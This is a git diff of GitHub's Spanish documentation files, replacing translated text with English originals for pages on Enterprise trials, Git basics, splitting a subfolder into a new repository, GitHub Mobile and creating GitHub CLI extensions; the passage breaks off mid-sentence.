request](https://enterprise.github.com/trial). You can begin your trial immediately after submitting a request. -Para configurar una cuenta para el {% data variables.product.prodname_enterprise %} portal web, haz clic en el enlace del correo electrónico que recibiste después de enviar tu solicitud de prueba y sigue las instrucciones. A continuación, descarga tu archivo de licencia. Paa obtener más información, consulta la sección "[Administrar tu licencia de {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)". +To set up an account for the {% data variables.product.prodname_enterprise %} Web portal, click the link in the email you received after submitting your trial request, and follow the prompts. Then, download your license file. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)." -Para instalar {% data variables.product.prodname_ghe_server %}, descarga los elementos necesarios y carga tu archivo de licencia. Para obtener más información, consulta las instrucciones para tu plataforma de visualización elegida en "[Configurar una {% data variables.product.prodname_ghe_server %} instancia](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)". +To install {% data variables.product.prodname_ghe_server %}, download the necessary components and upload your license file. For more information, see the instructions for your chosen visualization platform in "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)." -## Pasos siguientes +## Next steps -Para sacar el mejor provecho de tu prueba, sigue los siguientes pasos: +To get the most out of your trial, follow these steps: -1. [Crear una organización](/enterprise-server@latest/admin/user-management/creating-organizations). -2. Para aprender lo básico para usar {% data variables.product.prodname_dotcom %}, consulta lo siguiente: - - [Guía de iniciación rápida a {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) webcast - - [Comprender el {% data variables.product.prodname_dotcom %} flujo](https://guides.github.com/introduction/flow/) en {% data variables.product.prodname_dotcom %} Guías - - [Hola, mundo](https://guides.github.com/activities/hello-world/) en {% data variables.product.prodname_dotcom %} Guides -3. Para configurar tu instancia a fin de que satisfaga las necesidades de tu organización, consulta la sección "[Configurar tu empresa](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)". -4. Para integrar {% data variables.product.prodname_ghe_server %} con tu proveedor de identidad, consulta "[Utilizar SAML](/enterprise-server@latest/admin/user-management/using-saml)" y "[Utilizar LDAP](/enterprise-server@latest/admin/authentication/using-ldap)" -5. Invita a una cantidad ilimitada de personas a unirse a tu prueba. - - Agregar usuarios a tu instancia {% data variables.product.prodname_ghe_server %} utilizando la autenticación incorporada o tu proveedor de identidad configurado. Para obtener más información, consulta "[Utilizar la autenticación incorporada](/enterprise-server@latest/admin/user-management/using-built-in-authentication)". - - Para invitar a personas a que se conviertan en administradores de cuenta, visita el [{% data variables.product.prodname_enterprise %} portal web](https://enterprise.github.com/login). +1. [Create an organization](/enterprise-server@latest/admin/user-management/creating-organizations). +2. To learn the basics of using {% data variables.product.prodname_dotcom %}, see: + - [Quick start guide to {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) webcast + - [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides + - [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides +3. To configure your instance to meet your organization's needs, see "[Configuring your enterprise](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)." +4. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see "[Using SAML](/enterprise-server@latest/admin/user-management/using-saml)" and "[Using LDAP](/enterprise-server@latest/admin/authentication/using-ldap)." +5. Invite an unlimited number of people to join your trial. + - Add users to your {% data variables.product.prodname_ghe_server %} instance using built-in authentication or your configured identity provider. For more information, see "[Using built in authentication](/enterprise-server@latest/admin/user-management/using-built-in-authentication)." + - To invite people to become account administrators, visit the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login). {% note %} - **Nota::** Las personas que invites para que sean administradores de cuenta recibirán un correo electrónico con un enlace para aceptar tu invitación. + **Note:** People you invite to become account administrators will receive an email with a link to accept your invitation. {% endnote %} {% data reusables.products.product-roadmap %} -## Finalizar tu prueba +## Finishing your trial -Puedes subir la categoría a licencias totales en el [{% data variables.product.prodname_enterprise %} portal web](https://enterprise.github.com/login) en cualquier momento durante el período de prueba. +You can upgrade to full licenses in the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login) at any time during the trial period. -Si no has subido la categoría para el último día de tu prueba, recibirás un correo electrónico notificando que tu prueba ha terminado. Si necesitas más tiempo para evaluar {% data variables.product.prodname_enterprise %}, contacta a {% data variables.contact.contact_enterprise_sales %} para solicitar una extensión. +If you haven't upgraded by the last day of your trial, you'll receive an email notifying you that your trial had ended. If you need more time to evaluate {% data variables.product.prodname_enterprise %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension. -## Leer más +## Further reading -- "[Configurar una prueba de {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)" +- "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)" diff --git a/translations/es-ES/content/get-started/using-git/about-git.md b/translations/es-ES/content/get-started/using-git/about-git.md index 3274fcd26c..f94c074ced 100644 --- a/translations/es-ES/content/get-started/using-git/about-git.md +++ b/translations/es-ES/content/get-started/using-git/about-git.md @@ -34,7 +34,7 @@ In a distributed version control system, every developer has a full copy of the - Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects. -## Acerca de los repositorios +## About repositories A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more. @@ -129,7 +129,7 @@ git push --set-upstream origin main ### Example: contribute to an existing branch on {% data variables.product.product_name %} -This example assumes that you already have a project called `repo` already on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. +This example assumes that you already have a project called `repo` on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. ```bash # change into the `repo` directory @@ -162,9 +162,9 @@ There are two primary ways people collaborate on {% data variables.product.produ With a shared repository, individuals and teams are explicitly designated as contributors with read, write, or administrator access. This simple permission structure, combined with features like protected branches, helps teams progress quickly when they adopt {% data variables.product.product_name %}. -For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under an developer's personal account. Every developer has full control of their fork and is free to implement a fix or new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." +For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." -## Leer más +## Further reading The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software. diff --git a/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md index b5f52b579d..f070c323c5 100644 --- a/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md +++ b/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md @@ -1,81 +1,90 @@ --- -title: Dividir una subcarpeta en un nuevo repositorio +title: Splitting a subfolder out into a new repository redirect_from: - /articles/splitting-a-subpath-out-into-a-new-repository/ - /articles/splitting-a-subfolder-out-into-a-new-repository - /github/using-git/splitting-a-subfolder-out-into-a-new-repository - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository -intro: Puedes convertir una carpeta dentro de un repositorio de Git en un nuevo repositorio. +intro: You can turn a folder within a Git repository into a brand new repository. versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: Dividir una subcarpeta +shortTitle: Splitting a subfolder --- - -Si creas un nuevo clon del repositorio, no perderás ninguno de tus historiales o cambios de Git cuando divides una carpeta en un repositorio separado. +If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository. {% data reusables.command_line.open_the_multi_os_terminal %} -2. Cambia el directorio de trabajo actual a la ubicación donde deseas crear tu nuevo repositorio. -3. Clona el repositorio que contiene la subcarpeta. - ```shell - $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME - ``` -4. Cambia el directorio de trabajo actual por tu repositorio clonado. - ```shell - $ cd REPOSITORY-NAME - ``` -5. Para filtrar la subcarpeta desde el resto de los archivos en el repositorio, ejecuta [`git filter-repo`](https://github.com/newren/git-filter-repo), proporcionando esta información: - - `FOLDER-NAME`: la carpeta dentro de tu proyecto en donde desearías crear un repositorio separado. - {% windows %} +2. Change the current working directory to the location where you want to create your new repository. - {% tip %} +4. Clone the repository that contains the subfolder. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME + ``` - **Sugerencia:** los usuarios de Windows deberían utilizar `/` para delimitar carpetas. +4. Change the current working directory to your cloned repository. + ```shell + $ cd REPOSITORY-NAME + ``` - {% endtip %} +5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information: + - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. - {% endwindows %} + {% windows %} + {% tip %} + + **Tip:** Windows users should use `/` to delimit folders. + + {% endtip %} + + {% endwindows %} + + ```shell + $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ + # Filter the specified branch in your directory and remove empty commits + > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) + > Ref 'refs/heads/BRANCH-NAME' was rewritten + ``` + + The repository should now only contain the files that were in your subfolder(s). + +6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}. + +7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) + + {% tip %} + + **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + + {% endtip %} + +8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) + ``` + +9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7. + ```shell + git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git + ``` + +10. Verify that the remote URL has changed with your new repository name. ```shell - $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ - # Filter the specified branch in your directory and remove empty commits - > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) - > Ref 'refs/heads/BRANCH-NAME' was rewritten + $ git remote -v + # Verify new remote URL + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) ``` - El repositorio debería ahora únicamente contener archivos que estuvieron en tu(s) subcarpeta(s) -6. [Crea un nuevo repositorio](/articles/creating-a-new-repository/) en {% data variables.product.product_name %}. -7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - - {% tip %} - - **Tip:** Para obtener más información sobre la diferencia entre las URL de HTTPS y SSH, consulta la sección "[Acerca de los repositorios remotos](/github/getting-started-with-github/about-remote-repositories)". - - {% endtip %} - -8. Verifica el nombre remoto existente para tu repositorio. Por ejemplo, `origin` o `upstream` son dos de las opciones comunes. - ```shell - $ git remote -v - > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) - ``` - -9. Configura una URL remota nueva para tu nuevo repositorio utilizando el nombre remoto existente y la URL del repositorio remoto que copiaste en el paso 7. - ```shell - git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git - ``` -10. Verifica que la URL remota haya cambiado con el nombre de tu nuevo repositorio. - ```shell - $ git remote -v - # Verify new remote URL - > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) - ``` -11. Sube tus cambios al nuevo repositorio en {% data variables.product.product_name %}. - ```shell - git push -u origin BRANCH-NAME - ``` +11. Push your changes to the new repository on {% data variables.product.product_name %}. + ```shell + git push -u origin BRANCH-NAME + ``` diff --git a/translations/es-ES/content/get-started/using-github/github-for-mobile.md b/translations/es-ES/content/get-started/using-github/github-for-mobile.md index 4b2497c1ad..c1331d6da4 100644 --- a/translations/es-ES/content/get-started/using-github/github-for-mobile.md +++ b/translations/es-ES/content/get-started/using-github/github-for-mobile.md @@ -1,6 +1,6 @@ --- -title: GitHub para móviles -intro: 'Clasifica, colabora y administra tu trabajo en {% data variables.product.product_name %} desde tu dispositivo móvil.' +title: GitHub for mobile +intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.' versions: fpt: '*' ghes: '*' @@ -11,81 +11,80 @@ redirect_from: - /github/getting-started-with-github/github-for-mobile - /github/getting-started-with-github/using-github/github-for-mobile --- - {% data reusables.mobile.ghes-release-phase %} -## Acerca de {% data variables.product.prodname_mobile %} +## About {% data variables.product.prodname_mobile %} {% data reusables.mobile.about-mobile %} -{% data variables.product.prodname_mobile %} te proporciona una manera de realizar trabajo de alto impacto en {% data variables.product.product_name %} de forma rápida y desde cualquier lugar. {% data variables.product.prodname_mobile %} es una manera segura y estable de acceder a tus datos de {% data variables.product.product_name %} a través de una aplicación cliente confiable de primera parte. +{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application. -Con {% data variables.product.prodname_mobile %} puedes: -- Administrar, clasificar y borrar las notificaciones -- Leer, revisar y colaborar en informes de problemas y solicitudes de extracción -- Buscar, navegar e interactuar con usuarios, repositorios y organizaciones -- Recibir notificaciones para subir información cuando alguien menciona tu nombre de usuario +With {% data variables.product.prodname_mobile %} you can: +- Manage, triage, and clear notifications +- Read, review, and collaborate on issues and pull requests +- Search for, browse, and interact with users, repositories, and organizations +- Receive a push notification when someone mentions your username -Para obtener más información sobre las notificaciones de {% data variables.product.prodname_mobile %}, consulta "[Configurando notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-for-mobile)." +For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-for-mobile)." -## Instalar {% data variables.product.prodname_mobile %} +## Installing {% data variables.product.prodname_mobile %} -Para instalar {% data variables.product.prodname_mobile %} para Android o iOS, consulta la sección [{% data variables.product.prodname_mobile %}](https://github.com/mobile). +To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile). -## Administrar cuentas +## Managing accounts -Puedes ingresar simultáneamente a la versión móvil con una cuenta de usuario en {% data variables.product.prodname_dotcom_the_website %} y otra en {% data variables.product.prodname_ghe_server %}. +You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}. {% data reusables.mobile.push-notifications-on-ghes %} -{% data variables.product.prodname_mobile %} podría no funcionar en tu empresa si se te pide acceso a nuestra empresa a través de una VPN. +{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN. -### Prerrequisitos +### Prerequisites -Debes instalar {% data variables.product.prodname_mobile %} 1.4 o posterior en tu dispositivo para utilizar {% data variables.product.prodname_mobile %} con {% data variables.product.prodname_ghe_server %}. +You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}. -Para utilizar {% data variables.product.prodname_mobile %} con {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} debe estar en su versión 3.0 o posterior, y tu propietario de empresa debe habilitar la compatibilidad con la versión móvil en tu empresa. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/managing-github-for-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} +To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/managing-github-for-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} -Durante el beta para {% data variables.product.prodname_mobile %} con {% data variables.product.prodname_ghe_server %}, debes estar firmado con una cuenta de usuario en {% data variables.product.prodname_dotcom_the_website %}. +During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a user account on {% data variables.product.prodname_dotcom_the_website %}. -### Agregar, cambiar o cerrar sesión en las cuentas +### Adding, switching, or signing out of accounts -Puedes ingresar en la versión móvil con una cuenta de usuario en {% data variables.product.product_location %}. En la parte inferior de la app, deja presionado {% octicon "person" aria-label="The person icon" %} **Perfil**, y luego pulsa sobre {% octicon "plus" aria-label="The plus icon" %} **Agregar Cuenta Empresarial**. Sige las indicaciones para iniciar sesión. +You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in. -Después de que ingreses en la versión móvil con una cuenta de usuario de {% data variables.product.product_location %}, puedes cambiar entre esa cuenta y la cuenta de {% data variables.product.prodname_dotcom_the_website %}. En la parte inferior de la app, deja presionado {% octicon "person" aria-label="The person icon" %} **Perfil**, y luego pulsa sobre la cuenta a la que quieras cambiar. +After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to. -Si ya no necesitas acceso a los datos de tu cuenta de usuario en {% data variables.product.product_location %} desde {% data variables.product.prodname_mobile %}, puedes salir de la sesión de la cuenta. En la parte inferior de la app, deja presionado {% octicon "person" aria-label="The person icon" %} **Perfil**, desliza hacia la izquierda en la cuenta para salir de ella y luego pulsa en **Salir de sesión**. +If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**. -## Idiomas compatibles para {% data variables.product.prodname_mobile %} +## Supported languages for {% data variables.product.prodname_mobile %} -{% data variables.product.prodname_mobile %} se encuentra disponible en los siguientes idiomas. +{% data variables.product.prodname_mobile %} is available in the following languages. -- Inglés -- Japonés -- Portugués brasileño -- Chino simplificado -- Español +- English +- Japanese +- Brazilian Portuguese +- Simplified Chinese +- Spanish -Si configuras el idioma en tu dispositivo para que sea uno de los compatibles, {% data variables.product.prodname_mobile %} estará predeterminadamente en este idioma. Puedes cambiar el idioma de {% data variables.product.prodname_mobile %} en el menú de **Ajustes** de {% data variables.product.prodname_mobile %}. +If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu. -## Administrar Enlaces Universales para {% data variables.product.prodname_mobile %} en iOS +## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS -{% data variables.product.prodname_mobile %} habilita automáticamente los Enlaces Universales para iOS. Cuando tocas en cualquier enlace de {% data variables.product.product_name %}, la URL destino se abrirá en {% data variables.product.prodname_mobile %} en vez de en Safari. Para obtener más información, consulta la sección[Enlaces Universales](https://developer.apple.com/ios/universal-links/) en el sitio para Desarrolladores de Apple. +{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site. -Para inhabilitar los Enlaces Universales, presiona sostenidamente cualquier enlace de {% data variables.product.product_name %} y luego toca en **Abrir**. Cada vez que toques en un enlace de {% data variables.product.product_name %} posteriormente, la URL destino se abrirá en Safari en vez de en {% data variables.product.prodname_mobile %}. +To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}. -Para volver a habilitar los Enlaces Universales, sostén cualquier enlace de {% data variables.product.product_name %} y luego toca en **Abrir en {% data variables.product.prodname_dotcom %}**. +To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**. -## Compartir retroalimentación +## Sharing feedback -Si encuentras un error en {% data variables.product.prodname_mobile %}, puedes mandarnos un mensaje de correo electrónico a mobilefeedback@github.com. +If you find a bug in {% data variables.product.prodname_mobile %}, you can email us at mobilefeedback@github.com. -Puedes emitir solicitudes de características o cualquier otro tipo de retroalimentación para {% data variables.product.prodname_mobile %} en los [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22). +You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22). -## Abandonar los lanzamientos beta para iOS +## Opting out of beta releases for iOS -Si estás probando un lanzamiento beta de {% data variables.product.prodname_mobile %} para iOS utilizando TestFlight, puedes abandonar el beta en cualquier momento. +If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time. -1. En tu dispositivo iOS, abre la aplicación de TestFlight. -2. Debajo de "Apps", toca en **{% data variables.product.prodname_dotcom %}**. -3. En la parte inferior de la página, toca en **Dejar de Probar**. +1. On your iOS device, open the TestFlight app. +2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**. +3. At the bottom of the page, tap **Stop Testing**. diff --git a/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md index 11a00fd5be..589ce46209 100644 --- a/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md +++ b/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md @@ -1,6 +1,6 @@ --- -title: Crear extensiones del CLI de GitHub -intro: 'Aprende cómo compartir comandos nuevos de {% data variables.product.prodname_cli %} con otros usurios creando extensiones personalizadas para {% data variables.product.prodname_cli %}.' +title: Creating GitHub CLI extensions +intro: 'Learn how to share new {% data variables.product.prodname_cli %} commands with other users by creating custom extensions for {% data variables.product.prodname_cli %}.' versions: fpt: '*' ghes: '*' @@ -10,43 +10,43 @@ topics: - CLI --- -## Acerca de las extensiones del {% data variables.product.prodname_cli %} +## About {% data variables.product.prodname_cli %} extensions -{% data reusables.cli.cli-extensions %} Para obtener más información sobre cómo utilizar extensiones de {% data variables.product.prodname_cli %}, consulta la sección "[Utilizar extensiones de {% data variables.product.prodname_cli %}](/github-cli/github-cli/using-github-cli-extensions)". +{% data reusables.cli.cli-extensions %} For more information about how to use {% data variables.product.prodname_cli %} extensions, see "[Using {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/using-github-cli-extensions)." -Necesitas un repositorio para cada extensión que crees. El nombre de repositorio debe iniciar con `gh-`. El resto del nombre del repositorio es el nombre de la extensión. En la raíz del repositorio, debe haber un archivo ejecutable con el mismo nombre del repositorio. Este archivo se ejecutará cuando se invoque la extensión. +You need a repository for each extension that you create. The repository name must start with `gh-`. The rest of the repository name is the name of the extension. At the root of the repository, there must be an executable file with the same name as the repository. This file will be executed when the extension is invoked. {% note %} -**Nota**: Te recomendamos que el archivo ejecutable sea un script bash, ya que bash es un intérprete de disponibilidad amplia. Puedes utilizar scripts diferentes a los de bash, pero el usuario debe tener el interprete necesario instalado para poder utilizar la extensión. +**Note**: We recommend that the executable file is a bash script because bash is a widely available interpreter. You may use non-bash scripts, but the user must have the necessary interpreter installed in order to use the extension. {% endnote %} -## Crear una extensión con `gh extension create` +## Creating an extension with `gh extension create` -Puedes utilizar el comando `gh extension create` para crear un proyecto para tu extensión, incluyendo un script de bash que contenga algo de código de inicio. +You can use the `gh extension create` command to create a project for your extension, including a bash script that contains some starter code. -1. Configura una extensión utilizando el subcomando `gh extension create`. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión. +1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension. ```shell gh extension create EXTENSION-NAME ``` -1. Sigue las instrucciones impresas para finalizar y, opcionalmente, publicar tu extensíón. +1. Follow the printed instructions to finalize and optionally publish your extension. -## Crear una extensión manualmente +## Creating an extension manually -1. Crea un directorio local para tu extensión llamado `gh-EXTENSION-NAME`. Reemplaza a `EXTENSION-NAME` con el nombre de tu extensión. Por ejemplo, `gh-whoami`. +1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`. -1. En el directorio que creaste, agrega un archivo ejecutable con el mismo nombre que el directorio. +1. In the directory that you created, add an executable file with the same name as the directory. {% note %} - **Nota:** Asegúrate de que tu archivo sea ejecutable. En Unix, puedes ejecutar `chmod +x file_name` en la línea de comandos para hacer ejecutable a `file_name`. En Windows, puedes ejecutar `git init -b main`, `git add file_name`, luego `git update-index --chmod=+x file_name`. + **Note:** Make sure that your file is executable. On Unix, you can execute `chmod +x file_name` in the command line to make `file_name` executable. On Windows, you can run `git init -b main`, `git add file_name`, then `git update-index --chmod=+x file_name`. {% endnote %} -1. Escribe tu script en el archivo ejecutable. Por ejemplo: +1. Write your script in the executable file. For example: ```bash #!/usr/bin/env bash @@ -54,35 +54,35 @@ Puedes utilizar el comando `gh extension create` para crear un proyecto para tu exec gh api user --jq '"You are @\(.login) (\(.name))."' ``` -1. Desde tu directorio, instala la extensión como extensión local. +1. From your directory, install the extension as a local extension. ```bash gh extension install . ``` -1. Verifica que tu extensión funcione. Reemplaza a `EXTENSION-NAME` con el nombre de tu extensión. Por ejemplo, `whoami`. +1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`. ```shell gh EXTENSION-NAME ``` -1. Desde tu directorio, crea un repositorio para publicar tu extensión. Reemplaza a `EXTENSION-NAME` con el nombre de tu extensión. +1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension. ```shell git init -b main - gh repo create gh-EXTENSION-NAME --confirm - git add . && git commit -m "initial commit" && git push --set-upstream origin main + git add . && git commit -m "initial commit" + gh repo create gh-EXTENSION-NAME --source=. --public --push ``` -1. Opcionalmente, para ayudar a que otros usuarios descubran tu extensión, agrega el tema de repositorio `gh-extension`. Esto hará que la extensión aparezca en la [página de tema `gh-extension`](https://github.com/topics/gh-extension). Para obtener más información sobre cómo agregar un tema de repositorio, consulta la sección "[Clasificar tu repositorio con temas](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)". +1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)." -## Tips para escribir extensiones de {% data variables.product.prodname_cli %} +## Tips for writing {% data variables.product.prodname_cli %} extensions -### Manejar argumentos y marcadores +### Handling arguments and flags -Todos los argumentos de línea de comandos que le sigan a un comando `gh my-extension-name` se pasará al script de la extensión. En un script de bash, puedes referenciar argumentos con `$1`, `$2`, etc. Puedes utilizar argumentos para tomar aportaciones de los usuarios o para modificar el comportamiento del script. +All command line arguments following a `gh my-extension-name` command will be passed to the extension script. In a bash script, you can reference arguments with `$1`, `$2`, etc. You can use arguments to take user input or to modify the behavior of the script. -Por ejemplo, este script maneja marcadores múltiples. Cuando se llama a este 